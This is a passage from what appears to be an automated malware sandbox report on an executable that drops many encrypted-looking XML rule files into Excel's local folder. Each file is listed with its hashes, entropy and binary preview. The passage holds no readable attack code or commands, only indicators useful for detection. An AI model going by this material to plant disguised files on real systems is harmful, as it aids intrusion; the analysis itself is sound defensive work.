Preview:	<?xml.{.{G.....{X..3.).F.C.....O.......m8~a....5..5.x....`J.f..py.../....Rs..{..Y.i.G..dx.../..U.Wx5!..5.l...~=.[.+._S.!.9]q.G.<..EQ.......sG..7.:.t@...f......D.....E..@..MwI..NEB:....i....o..\|z..%.W.....f..........&Y..Ps.9m{....I`.....1.D.l.'.].r.#.N.<.7....N.._+.x.77&...o.....6..B.......K....F..:.Tv.%..[..'o..t../"...r.-#......^.{f..F.,....Cl.!.s.#./..p'.2....)...?T.+j..R...p. D.PL..Vc.m..%......b........KC.-......L..J4.I.~..I..l./.....U...XE.....`....iO.....8.$7....b.v/0a......'..nK..eS...+}v(...y.'uE.........x.......x3.'.%.f..(.....p0C..../<.]c...Zc.0o.}."..Ys..,..\3.E.Y..ni...D..B..:Cy.d..L.n..x..L..{f2Rb.....9h.....rI.....y[...0<.P.G1d...$OG:R.R.....I.t@..h..x..\..m..3.f....>... 2o.....U\|Y.9.@".~..&...1..._,.[l.r.n\|.<>];...B.(.].>...n\.....P..9..;.(W..M.._B.M9Uz.'...Q..$....Ct.....7..ooB.i.p.wu..e..$..&..`. ...a.y6...S2kx.....E~.km]-...\_..TAn...9.Ka....\|x.E.../.H.v.1.....w...... .{.i@....&.Lw.V"e_"..5A...itkm7MOsOlVQkbEQhWCVE

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490029v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	766
Entropy (8bit):	7.689907069414917
Encrypted:	false
SSDEEP:	12:wGVqDqlpzfQNiytwENkGRvMnHy9zlaSHfgvBuOoXl4Jlqit9wvzGrfVzNjVcii9a:w8AqLzIw/ESGRkn0zlZIcBGrCbUjVbD
MD5:	1EEFD4162C205FD7B7D149C0DC48B053
SHA1:	6C58D0DE6A75D946C1912FE27E976B8FCF07FD95
SHA-256:	FBEC03880A0CB8F6BDCC123A5AAD82430E2D33356BDCAA7282019102E9A064FF
SHA-512:	778823055863B03EA499A704ACD13EBD78C9819AA8E989EF398ABCB313C5CC303D3C2FB32433FE6CAEDF29001A3AEFC83838C79E337F0ACF221D8C77A8C5D0C7
Malicious:	false
Preview:	<?xmlR:..N....fy.1T;0..(......u$.f.".Z.......K/F..5...rZ........i.....gN.{.Q............l..UI...p].H+M..BF(..ey.RT.I...qZk.....E.....7....o>.....v.C....}....%.ER...nz................&[.L)...U4[..F.K...^.B.*.2..a...........5zA..+......... .8..~..,..5.g.v....\|.SO.[..F'.F...^.E@\./.%..gf.v:.Q.2jt:...T.6.5.......q.!.f.....R..xa.1O\.. "..p..Y.+j.8Mw...3.7.j.J..{...Z..X,..3.y.bg.OWl3\..Fj.o....T.... ..WO{.g.(q.=_.y_S..{..:......L.'+"/._H..E..2(.a....<n.N..&...An/r.~.....c..T..`$,...Y.q.Y..i.....(..wz...U.S...v."...l.4......cX.I._a1./.st\|..@..P)u.).=..6.0.m...M.....s....K.bm..!...z..........A.=ib..AX..b..A{.z.\..7..g..B.=+5.uM<.."o..-;6..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490030v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.784741412318948
Encrypted:	false
SSDEEP:	24:M0MWZ1HK/5FKng/qDzNrFkONzWpOwtzW/OVbD:fyKng/qDZZtdWpO4MOFD
MD5:	61814EFF7D195701410F3D49454D77DD
SHA1:	E7EB06E575FBB85534B2EDF68E86FCF46BFF3944
SHA-256:	C3DB78CCB9457B425A4CACCB1D2BFF4E8DDBC7B454D3C77011AA3EEC27998304
SHA-512:	33012B1731E204EDAC685998C86B74400421AE5903AAD6F2644074C9B8C61D28221C4AE417A398F538A5295FE23DA4463BD6A84D5BFC46F748654E11D2DC81F5
Malicious:	false
Preview:	<?xml#..cQ......,.j..d.d...X.4..#P.i8..Tc...Bz#E.U,e.o...r..o...L[N.l._....Q}....k.nao..Y".".T.LMl....c.4........[.`.sd....\|Q....1&...(.......K.P+..L...B=yX.....#Ym.3=H......y+.Z.....o)._.rr1.E5..kq..'...../1.ckb.............%z.....@.bG.q:.s;~............3....I/@G...ez..3I.lv..NFC.....}Ex..s.L?.....K...Y..p.+y..5r.....E.....j..........v.]0m#.1.E<3y.w....^......;f....\2KrqaYL.sX+..L/lQx..E...B..k...S...\|W...hZ......)..m.tj\I..<Cv.I.....Cg..0.L#....w.dr.M.@.M.:......$L........j..^...I..n.R...9kb.....y-..P.+.o/:.Vd..`.).!....s..f.LU..!2g....d.'.. .......s.V\|0....m........F.).........2..!.x<a.;h<-.i...x"...ion...?>..S.v.D........g.....-.%.....G.4....!..[..rxl~Q..8s....XZ.Zny<.K.6f..*.H..E.Z.:....+L.j)..Vj._s9\..8.l..ff.\|j.J(.......^.j4.C~....s.....kX.......y.....C\|....L ....PC.^......^.A..6X.......`.._....E..U.+Z%....2..y.9Je%.E....5...]..'..}.S)...v...p.g.S..p.l..5...6.}.t....$......S`9....e..uOitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule490031v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	920
Entropy (8bit):	7.754043347541019
Encrypted:	false
SSDEEP:	24:MfnSADNxNmcLCPOJdcha7PPS4c48HgU1lEEM2h77VbD:MPSAZ3/chr4d8A1d21FD
MD5:	3853FDD329AECB9A7FD75DB9FC606FB2
SHA1:	8A4DEA4DBC9DD34E136B7A25660A29311ED9AF84
SHA-256:	8C37E808B1DBEB67F2334983AFA25DB0B6FCD45FD3BE82E290C7AA2C18F1F41B
SHA-512:	919E7FC9A081AECC84EB4C31B3E68908D02195EF9F7B8C378C6F416193CE6EE106A07A5C0F222E294B9FCD2B039040C6AE6037059A73DD7AC98C32F9BFB9C8CC
Malicious:	false
Preview:	<?xmlL;D..:..+7.j.k(i....X..._jf.h.\|qF8..+5...#.P)S.o...{..MRd.2.6.n1......o...V.....u.....M..Jj.[qC....d....P.'...]U+......:......%.M.4....b7.Za...H.p@....~.....M>}US.G1.#D.&..-...n........hygg....b.@i...1......../..>N....xX.....5.C.W..N2.<..,..!.4.....$.HNi.2.z&.......E+.....o5N}..g.R..j:l...".0..a.I0......y.8o..+.......3M...KH..#...K.=$.wu@.7O29...i......,.W...Q.:.q$C.,..k#H).K.zq.......y6....j...-F(.s#...-nsMG...L)<..hfmK..`-.2..3.U..L........O.U....c.3}FJ...;.....u..8{..y%.p.r..y.\...X$;.&(..l....\|{....:.%.k2..W.=...b.S.x.0.........+.w....(.d..l.2.......:$2J..:P.;...N.9....#HS..........2n%tI......vT...'g...6......o..#5.H`. ..}..}.Q.'\|..I..ZN\ .........Z.........m.<._u....2.....@.#\M-...j......B.ja...s..$.M..{.N....~..=...u 9...g.N.u5&..sR.......-...\.h=.\........3...j.8X}...`........itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500000v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1147
Entropy (8bit):	7.843950562281667
Encrypted:	false
SSDEEP:	24:vzhWx58negfpbQr72zAMg2q2rxZNTg3zJmFqj7Un5XKyFR2XKVbD:7oFgdG+g2qcZNTgIFi7Un5ayFpFD
MD5:	E0856B6ADFD418E3FA95C806D41A8707
SHA1:	AB1D4CBD9EF0F3E18394CA31AE1CFCF0F7E8E8D6
SHA-256:	5CBE3D81380100D464DC4B55279A98ED1B26FB930790C1F8A17911D72B2972F4
SHA-512:	A975C062EB1B451913E288DD7AE6882E3A997A7E04565956C3261626D64BDD8037B75276B82717C59B598534B6A4BC64DD6A8BEAA45A6612473AB3E37040A30B
Malicious:	false
Preview:	<?xmls...O...#..0...1oC..^.hn...%.0./...:..1g.\.....R.P_..Wz.!v.=E..~....z.8.\8g.=w.8.!.....n.c.N;\.Yr...>......Q...[....e.?..i!b.TA...l.M..."..d.....e\.X..1Q....q.x..<=:+...d.V.[.......X"!.............!?.....V"....V.2....nf.7...3..;\|.t?...T....q......}L.....o...#...!.,..CF...e...h.Yv.=......N[0.c...-.o...`.4..pY.u.....5......~.S.....u3..2....kKt..n..o....@...Nk...qg..../:zd.5..R.....gh..c.H.3..q.}...lC.t....+,.x..p..S.{.1.0....T..p.;6M.}..9...?V. ...=.iN9~._..Y..U.a.1l.W.5.>..F...........s...........K..\7o&aZ.J.4^.........t..x.P>...s....O@...I.25R?..eR....&(gE.p#`h ....[...f........q.\B^..{\.&.-..@......7.....7qTF f..%....{.....Q.O...............?......0.bj...L..U.w8.&.....7 i.#..K.k.QZo.....#2......&8.....$Ca...]-.=..o.....;..T...(s.;..<\|3i..[)7.7.B..$.HD...q..T..`.Yo;3...N.i....p..J.H....J370..y..a.RBt.../.m..!/B....g..u..2.,=........:..o..i..K....sj..0.....mA...c..v..Q..1=...(P.'.}........F.;Z...p.xn5n.XeT..#\...p.^..>7.A<..l...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500001v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	7.800390118761704
Encrypted:	false
SSDEEP:	24:yPGrxO5uHEcmVtP8KsyMsGb1epOVHRzUi+PjVnQ1dMVbD:yPGrxUuzm3P8Bsy1JJZ2xQ1SFD
MD5:	B559AA6CED989FB397A64052B8328F4F
SHA1:	5B9A6F8C0A2085857D2E949CE4C844744D12974E
SHA-256:	75676CF35DBA431A39A9546DEC32AD3C01721E4ED535BC93E285D839682D12C9
SHA-512:	EE15DB415BDF3A4CA5B610DF35CBB51F06FB2ED43ACD03FE071B0C87A0BDADC3611CFD24DF9C3074726A8BE267B3A462C7E965D64D5B74BBC3E4C6FDB178801B
Malicious:	false
Preview:	<?xml....Bk......A..;..$..Khq.4p..!....^{.'..........$#...p...W.M.n ..<....[K..G...;....5'.+..W.L...3../.F.2!.y.9..!.._....m..E`.E..6./S.eS.oW..d.r...}... 70g..y.3.`6}3.....[f...-W...0..V.'.z.^.........fG.....G:\@W....J!....t.4\|..`../........v=.X.$.[+.zbETn..j.p..{...K.(.]d4$@w.....^K.1.."....@.Ny....[.EJ...nt..pJ..c./....y.ma....7.n1...l[..g...sOJ.#.;C1.....?..iJz./,..ME.....<..Hx........+TB...H.1.1.@.&.n}jp....U<G.....w...X......L2.Ac.jn.T...I.:%.7.d.FOJ"LP.=.by...+Br-..>Z.v,H&.\M...WR..N..Z."L.Mz`^../a.n..^._...pr.....x..7s...:.-.mhp...f<.....n`..P]..Uv...b.l...e....(....~X..^....I.....;...Dv..!.m.b....E{@...#.;/."@...S.........@V.n).}..&`.~B................g..a.....C..Hl.W...:...@....!.m.5Bo.).2..H..KS...."...{..;.0.......Kng..F.G..\M...0.k..w..rZ.A...v.....^k7...'.).T..]R.....t...J..zL...@...w4...>!.7}....m.S.m..!7...v.....Q7..c.%.B/....'../..w..;....?..]...Q.....m...............u..k..aVy\.....,.6.......07u%.[..M..\...S..YI..]..@...}..I.a

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500002v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.831186280161867
Encrypted:	false
SSDEEP:	24:lCeARASxeYAMzZD1ZNssMpeI5BiFOWzSSm+DagLlldLFk3iVbD:geUAaZD9NMpf5Bin/mqaUFmiFD
MD5:	3A11DFD6D288EE1115B85F442D1A3721
SHA1:	A73A49CEF98F007D276862E35A3DBC71B3F5F013
SHA-256:	1BB891F28B5BAC31E9FBFC0C8C91DCCFB28B433D270024DFE17AA175338E8116
SHA-512:	29B0DCF2B274F0DAF8392DB8A1AB36C9AAAA72A6D57CD6DD553B97940063F42DD41D8ADC923FC150D48EF0FC1ED3E9980B3F99A184D8E00D0C69A5148C5AC8A9
Malicious:	false
Preview:	<?xml7..f;`..z.......$(.....E4.S.t.0..:t....%.&.Nq0(..\|p.(.A..~.=B...../....^66.8..w....6A.J....}9X..s..a..f...7D...=;2OX..lc....nL(d.,.P....].........;fz.zY...zA.;c...FZ....n....8n....:a.....3....C...G.;.... .c.M....j..\'.\.........9.d.Z.b....Z.x.m.h.b\.........[.......f(.S.@h;m..7.F.jB.NS.."n51#q.....KKa..x!....-..7#..V...3............t..1H...yO#e...O.9I.Mr.v].R...g.)...._...bv.....3!......EU.u..T...].....\|9.Z...L.l\|/...`..H.k@.......p.Qx...Z5A.....4..K\|hn..$..&.0U.:..c........SD.:;.......j;.^...S...Y~k'.b...HG.".r......K.'........b..E.....m.$...#..z.1~\|Y..._/..J.,.mngQhU..e......o....&....X..0 XC.7..V.....p..+.d.~...Tc...!..;...........'.%9..W.NS......3}.y.f..1..,_..4..C)......#......oY.w>m.B..=S...9.1.w...'..V.9W...)....j..$x.W.pu;.$.\|..<...i....Y5..4..7...<.:7".E.....6.P...'.&.......A.M.X.E....V\....h.O..........~...O1........c.....X......[].I9G..."........"7...D.J..YB4q\|.....~Ws ?.i..$.....0.c0.3G....I...T....M......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500003v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.800767636741036
Encrypted:	false
SSDEEP:	24:0uPAnS+2mRH18ETEowmoPNZ2EcZ9EJyDf50gXY9hBKee7tw3y2VbD:0u4nEmVTZoPNZ2EPJmf50gIzBc7C3FFD
MD5:	3E77967C998E085389259803609CF975
SHA1:	1E39C61D78191EDC1C7DDEA194183B9A08C6DD43
SHA-256:	104E34FD2369F831643A9ECBEB7778BE612532D4A0E0B7B2DCDE09C1D1CF5FBE
SHA-512:	C82C363B18EFA3B64EEE98C72EB6D92E927C09201E6546D21A567A81D371C5F113DCBF1B09F70BAAC9776546542D74ABF2CCD61804ED6953DA7D1A4AF42F3247
Malicious:	false
Preview:	<?xml.....B.M.M......Cz..lJ..ol#.'.@..#9.q..9?.9.-...\U..9.C.i.K.>2..........d./...z'.X.I..y~....H.ON...t.........d....X.FQ`_.........Q1.+icw.J..t.Mvr...f.%./d...rH+m..U_.Q@4[.".....Fet..:DL..5...qq...8.]l~..Y.Po...6.mju.o1...;W1!.r.][.s..T.mAj..t.A.l.A6i.9#K.t.%.[..?.`..........J..P.,..2.T.....`.h=...I...{.....3...vp...C,).}Xs.1...E.8...}.zH.L~,./B~@....2.....C,...#3..bI.A.....9.......N.~..zG.?..: #.@jc.g].-..j_........fS7B!2.Q....w..v..Jr..v.P..D.S....~...{yh.?.\|....2..)..".:...ve.l.9$[.c \..yJ.'.#.....l...m..'*.#3...4.eEM..:s`....M.....as.>....e.\|~L.._......../..7+U.....j.bV.Y..........U#......0._......V.9..@...-.G.`.63.;.....].4......5.c..c..`....B...H...^.FK.'N...-DG.h...<....Xg.....4.`.&x!d....[...gk..Z.....WC=..RW.....H.....<I....p.S..}....t@....h...@..^!.yp.!.`\|%../....q.Jc..Q.N.......ll....ox:...?J`\|.=..(.........c...`..6..s....).x3.`..iuF..v....'.?......B+....]..E...;.oK....?......W...@[..VK;.....B.......).E...%)...Z;C..Bg...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500004v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1145
Entropy (8bit):	7.818256051748213
Encrypted:	false
SSDEEP:	24:WxCMw0hbqynCZC0gRTEx980Y+3ONaZxZSAW382VRVT+KcBVbD:OEkjTExaR+egZOM2Vn1cBFD
MD5:	6FC00E0E84197E3BB83763385DB51D3D
SHA1:	CBE4AE43D09098B45E400B024F089E0B20DDE8DF
SHA-256:	74DBA294D33A8C06BEAC22CF41E05DCFC84E2DF7B3B74BDCDDA206B9EF6475EB
SHA-512:	944A9681B5E2A375FA496121AE5450389E25DEF76F0FA367C8C92B3BA06D9C530013689D331B784C9A4D1761D26457B13CBBABEB2F5502A64D31649BA8C09820
Malicious:	false
Preview:	<?xml .......+.e...a.=.}.t.......+.-e.0c5_...!.d......KJ^F..$....V.Y4.q..}.W....&.X...nt..4;..&;..../.#W....)D.X.M...m.......x...i.+....z].7...TnW.D.#.q.....p..G....1sk.....X..h.....W....K.J..Jc\|.m/)c.V...=..B>...[..@.g<Z..<L-N.V.w.21.%...N.\|..dlu...]sn~.0F.(...Qh.$D.P@.............P..x.-.E{...B..).Zl..=.......t...r.c.Z...s./....#.B...r...Z.h0.8.z3..U(.?F...9v...<..d.......!..6..E.....C..%7.6.5..QU&..O.v.).tJ....)....W..8....f_.H~.T..uJV.....@s.....F.<.w..]%.p#rM.d.....`........e..V.A.....3d.....$...?.6.cf.i..].q..x^MEb..3. .+s.&\.J...P$.Z?.`Xh{.U..9<...o.>.%.14...A.O..J...@.:.....K....d.;.....)..a+..Z........Q.h..Z\b}yK..KZ.I.......Q....b8..Gk.L6...j#U.~...'^..a.:O.Jw..i...LsE..rH>X.i.W.kQ.`...8..y:....r....;n.d."[h...[.io.\|....7. .?...T.P......;L...A........Y.0...>..R..R;....O@N...G\.o...&....B/.T...tT..;.[....{..UNK./H..........'I....#.....H&2Ct........z..)......4....rc'$2....k......gP..!.~..hH.......6xA.5fK.eJxT..K`}9.>4....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500005v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1144
Entropy (8bit):	7.832997415965243
Encrypted:	false
SSDEEP:	24:xrSddGza2XWoFXUjzv8oyuyoumt9z1Qz1VES2WjVxVbD:xOchXSz0Ent9zyHRVxFD
MD5:	F17FA4F0769EBCEE92C9B35744A2BD4E
SHA1:	3C244D370DB03EFEBF6F6A0DA5AAB0AC2C5AB4CF
SHA-256:	49115AC17A82E4F8C08E66882F422FB1CFE5D87094386628096516E766260771
SHA-512:	0CD4093C7DCC45FE128E1D13FA668CEDF89E30BA06EE3FAFFD2D70FB26A46D404F55879325C22291164C75593BB16EECE2705CE713B2E5CA17CF0CC4AB2F79CE
Malicious:	false
Preview:	<?xmlW.9..&..w...6.... i.\|..+....ZRw\KgAC....q..q<5...../t_...O.]o.\......"2S.Fi[..c~....f.Z.\|.Ek...C,.U[P..H#...T..v..&"u4....K.........#...LB..i.......-1./...rdk~g...= .}L.{])i$m...hFj.E..".j....(.....-...J.w..e.3N..s.Z.%..X..[M.....r[....vL.E."R.....p$.....)!.....D.....&...I.R.=[eM.Y..O/.zJ..z.f)..(,.%.e..x..IdPL.e.......o.....}6.\|Y...fR9Nu>...<..%B.y.9@.....{D...4..K...........[^....=...>.7$.W.Kz{..T.z..%7.U......%.=.....s>.a.5.<M......8... Y..A!.(..Q.....cNu...m-...0C...>..>...J..@.]......~..0=..tL.$.e.....d.{.2..r.?tp.X..P..3.E~...........n.+...."c%QE.h..'.).3..'.x#XH..`.)`...E.h.U/.iH."...^.e3.,Z-..ww.c...sN.a......R.L<!.v'\|..[...;.e...".<.Z.e0.B.q...a...R...+R......$..dO.ZL..g..a]y~..eNf....vi...;.'M..S..N..+]S..O.Z.\|a....i......{....A;....Z...p;cD..D....pq.......E.y:..a.4.G&._...O.(...#c.6LMWm%-Id.~..W\...5p-......-..k..7..DxR...A......y.nPpR...( 0.(..d.q...-6$..ah...P.....N......Y..D....'\|.3...N.0.bc)X..P..R.YQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500006v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	7.722236171678716
Encrypted:	false
SSDEEP:	24:eFqjMIQfuS7xNvAsaS3NiXzEdMBUWDVbD:vwCMYXomBzDFD
MD5:	DD53476600E585047209F7001091D378
SHA1:	D994F0C6F6E13125D0D8487085E9FF03C5761B69
SHA-256:	ABD360671904F895A4FCA302E9E8BD1F34045D4A56F5FBDC799B7CB457D49D35
SHA-512:	905B838FBC85B98FFCFA26A988FF303897145F1348AAE019DAC4B3B26B9E6EFA1CDE12D684F70929A04767665C7761338B19E829B0E14A7AA00CC17A1D0C1F5C
Malicious:	false
Preview:	<?xmllC6..T.as.#C$.gK..yhSmy.......Zp<.$...>s.PZ~.......M.;X...O4^.En.o y.op.......C..9M.....}Z.....h.../W.\... 3......M....Zb.K.N.8..3}pH..!.]..@9o.s)$...7. ..T.-.a.@.+..j.......!i...m...T.j...s.%\..9L&......./i8~.P._.ye.K....@RE.'.B~..p7......I....nV#...9.k.,?n.;z..S..W..c....9.a..h........<~...h>=]...V..Q..'$....\|..T..u.O.X..t..E.{.....d._b,F..$.P.6...!'..R.......z?:..,.4.H&wB.7.R$./.g<......[.7J./fUn.0)......-.....(..../...s..qEV...i;.\|..P..v.s.AN....F.s#.O'.V6.9........O.$.....UM.A.Gh.;.E.w?(....{.{_.k..tM.....du.~...Y........+.5...J..V.t'.p..d..nx\,-P...]..`.G?.V..'o^{....b..n].EB...t..e....y'F."$ov.].....d.Z=..\|i....i..].....vF...'.1Z. S.!.....q.;I.Ml<..g5...d..r.P.J.l.!_.T...&%e.A..gv.z.#..B...z...h.. @...__.9..>..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500007v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	767
Entropy (8bit):	7.720879549320506
Encrypted:	false
SSDEEP:	12:2OgOze24vv/8nR6YABdNNzngZPrlZ89hpGtBh5HA1xyGrwDvO5g4Da4+1ULejVcq:jlzLsH8nNABdgZPrwQJHA1xLOvOfvLc9
MD5:	E42FB6857F58E4D170BF59ED81BCAF0C
SHA1:	85F3E1F4CAD8936FE14B40A964E5FDEC192B0C29
SHA-256:	C1EEA2E52C9AA2100074C2461498C3B46DC89F4E7E34CB27B01729310AA5E77C
SHA-512:	BB858ABFA6FA05010D4D027B086D5ADF478CAE85A0EA5848D71AB6AC99031BF95E3242BEDA9CADCD9EEC5C56F8A91EF881CC88B6166D469E0DB82651534F017B
Malicious:	false
Preview:	<?xml......uQ.s=..Y..U.`.r.c..#.d,T.-..R.S....4.{........U....:.H].8.....z.q:bl.r...=RFU......Y.HL...&!_`...9.o.Z..V..Sa..a.."O_1..W..b..8...o.".....}Y....xC...{...N.-.-Y..P.C..w..+..A..G..9%.o.%.H)\a."...z'.).B3_k....@....i6.r(..$.n.d...)...D0.v>X.....g@q. DP.D...f".D.G!.@wS................#3..s.......A0uPmTVV...'.....Rz...3/I.I...\|...&9..F.!h..w....(....._.A..&cd........b.... ..4...UZ....10'+.....m..`.DA..3!C.<r..%..l,...CH.E...K....^a[..EJ..o...@.U.r..s.}....6..R+.......e...0e.;.{.h}....L.O7...@..IH*P]C\|0...~..O.....DC..6.....,@.Ic.S.8.jdq.\.......U.].v.....a..r{..F.~. ..0.{..R.......f..}..S.F.{\.I..%5.Uo$..p.2.8..0..$.A.#$.)...1..N./.....{.`xFitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500008v2.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	845
Entropy (8bit):	7.750244088479255
Encrypted:	false
SSDEEP:	24:M8At/p9hIxjHi055ZLBTRejmMyZVixDVbD:M8At/Ph6HNRFTUCMxDFD
MD5:	B36A927F67B81EC0D21F6C8A430C3D8C
SHA1:	B16C193C5CF22C564F9DED07D7835641E5340BC1
SHA-256:	B8D7A3A84C7F36D16F60D1E30B73E8648E4E75F641D6E1B1CB0D34792A94C251
SHA-512:	C25C6BCE5D34F93CF5C49367A64C08A61FA2115733E7E164E6CAA5CC55748C294D7767037333C13309314A29330CC9E4CA4A36CC17A22015DA076E53B59D1C31
Malicious:	false
Preview:	<?xml.SE..i...C......vfa4.[....D...A..xB.."9.3m'..M.(.u..:..7.B...$.{_!.Q...?k...v..?W"P.Z.8..>s..#..\..2.AS"...?....6..Y.Um...a......7..p...@.`,p...v.\|P.._1.. ..=.......fM......6...D.]O...Vt.:.kt.Ll.\|.[",....#,.........\.:........xn.#...S,....9Q..r..`..elrEa....)...h.ke..............z.......d..5E.q.u......S;C..b.g.......K..u......[...A......wn.....E....G.....N..\|b..e.KB..o...+_......')...Y.t.s...9..a..M.6....P.M...(B..7$@^_y$.......$3mfQwEb..Ay..7l.3.....^.pp%GR........b&@...B%.^z.O...o..MxO.J7c....&.v...N.D..#..?......3..uN..G8h.. y{.X.l.x.].}2....3.R...iB..a.=.y.B.$,.,..g..U8.`N..}..{..%b..j.<XZe\|.....0......`...=&..:.-,.k...G.@=r..(..~.[.S......7.5.....9.uN.g....O.%..,.8..............>U........`.b......l...<&k.\|aP%itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.8332160999194205
Encrypted:	false
SSDEEP:	24:Q36c5eh6Zm1emIr35YzUsId3D2lwydk7KFPBdFLZwZ92I6yQt2ZNtsVbD:Q36c0IZh5CK3iftdLZsbBW2Z0FD
MD5:	7D6BDA4A68D11701779C3B777EAA6D84
SHA1:	6AEE604724CB75AFD196421938623049F7E51B49
SHA-256:	6DAA5E38CE73BFB9EB50F6C3A74C07934417585E5E84CC7BC3E1BFBA746E8A97
SHA-512:	0A4F4A2DD016949B3795F87A78A1B1C69F228EDE2E602F024B4560D57BEF13D446DD54714A095351BD79E9A4610144D6676E69D564167E02DC1DA62EA08681B9
Malicious:	false
Preview:	<?xml-...3...p.C..y+......i..+...a2.<.iB..r.B...5pz...].t.."o.x{...72...GU=..V{b..e...'.}.1.?..)...Dv.u.v....V.y.Uxx....X.-.i..x.tH.\|&a.w.^2p...(...u..F...&.X..b...@......\|...>.3.....;..J...S.......pt#....aA....)w.W.s.V.V.....K...CV.9..=j..............N.n.#.'.....4E...:.q....R.T....p.....%....+.k.Sb..D.H..lb.B....JZA.'....d=W..._(1.HF...{.(.....\2.^.\.w....X1...y..m2.............Jf7.C.h0+.G.3.2.......ow.t...T.8C..o{.k.,.jc&.8..D.A.w...F......V..5...^.u.....N...S.E.x..&]X..2.....Z.[n..g.U+B."..Axw.W...s>..\|Q..Z.....X.>...F.8.iN.1._..~..w8L.q...N!.\|`.9.+..h......$HN E!.=t'..u#....7..,.P\|.^f..\|..SB..H.%j....$.&......\|..@R........P..V.PHR..2..O...H.$}.mR..7.>.W...F.^T..aQ8.d...3..$............bk...(.f...vkU...7.rK.+#....}bh#..A..9j9.......".%..V...n........v.AQ.-.6.P....;".=.x.....M...6.:.'...<N3.U.....^..~O ..Y.......cAR3.....`..y.@..1......g..#d...Q6....L7....-.p$..e:..~-.......W!F.k.".#.S...N".E.z<GY..H...e.tz...........%......uF..h.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.771637153092916
Encrypted:	false
SSDEEP:	24:sstyGpcP+mzAXPAesvDkGhnNIR0M21tSA7MkVbD:kP+mcYe1GNNIR0M21nrFD
MD5:	2284FE5477F52675C00EE728F1C33E20
SHA1:	3586B1D1523C8AFC3EE789BEB7495803FCC5EC98
SHA-256:	BF4985BDA76C127062CAB3DEFDEC2BBC8E0A79C3DA43675CCBD83650B1606E9D
SHA-512:	791BC26A94F954DFC21372A353CCFB9798F9F8DC1368B1D5FA5B2C0AB7036FFEF5BE76943EB49ABA3CA96AD63B8C5996D31571357E82B848579CC3FB7C413E8E
Malicious:	false
Preview:	<?xml.i/.2$....(.Po...l...]"v...:......^p....H./f..0%r.y....?.{.g.....a1.!.[w~.....J.%.G]w'.t..o....q .dwpB.<x\|.y.c...}..CQd...v...M....[.@ro.XT."`....cI_.;..rQ.....K....'..a..3S.......W8rW.p.h.N8.Q1.t....k.`..}....~{...it1K......Aj.%M.`.....7J@.vu....$..g...r.K.......H.....c?$..g.=6...............9.>....(..#.g..n.E.....!..........P......I...&...)...P.I...!.d`x...KX...U...4.....C........l....VH.j..0h.H....M,.u.1j.{d...._0`.......zg.;....2c.F. ...^....yN...d.nA.z......bo...".7...n....$....yd.u...il....e..............a.U.I...>....h..3W58N.#~t...Q-M..V'....c7.....zG..Q.F.8<.D..&..H'c..%.Y......+._....g'....'U....N..Y=.&.........e..N.[..#"-..Y..S.3:d....e\..._....o.Qg..`]..A..U...g...H. .2Y.F..;.... 